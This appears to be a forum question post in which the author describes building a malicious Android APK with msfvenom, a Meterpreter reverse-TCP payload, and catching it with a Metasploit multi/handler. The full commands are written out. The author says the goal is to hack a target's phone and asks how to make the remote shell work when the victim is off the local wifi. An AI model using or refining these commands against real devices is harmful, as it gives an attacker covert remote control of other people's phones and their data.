Metasploit Payload Problem(Unable to Connect to Target When Target Is Not in Local(Wifi) Connection)

Feb 1, 2018 04:48 PM
Feb 1, 2018 04:52 PM

My aim was to hack a android mobile by sending a payload to the target's android device using msfvenom. I entered the following commands in terminal

msfvenom -p android/meterpreter/reverse tcp LHOST=myipaddress LPORT=4444 R hack.apk

There were no problems in creating payload. Then using msfconsole I entered these commands

use multi/handler

set payload android/meterpreter/reverse tcp

set LHOST myipaddress

set LPORT 4444

exploit

To test the payload I installed it on my device and opened the app. Then I was able to start a hack through my computer.

But in this case my computer(linux) device is in wifi connection with my android so I was able to hack my android device but when I turned off the wifi connection in my computer(linux) I was unable to start the hack. Note that there is still Internet connection to my computer(linux) but I was unable to start the hack.

So I figured that the hack would be only started when when the target is is wifi connection. So I want to know if there is any way to hack a device who is not in wifi connection. Should I use RHOST and RPORT. Im a little confused here and I need some help...

Related Articles

637263493835297420.jpg

How to Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)

636455706472146367.jpg

How to Hide DDE-Based Attacks in MS Word

Comments

No Comments Exist

Be the first, drop a comment!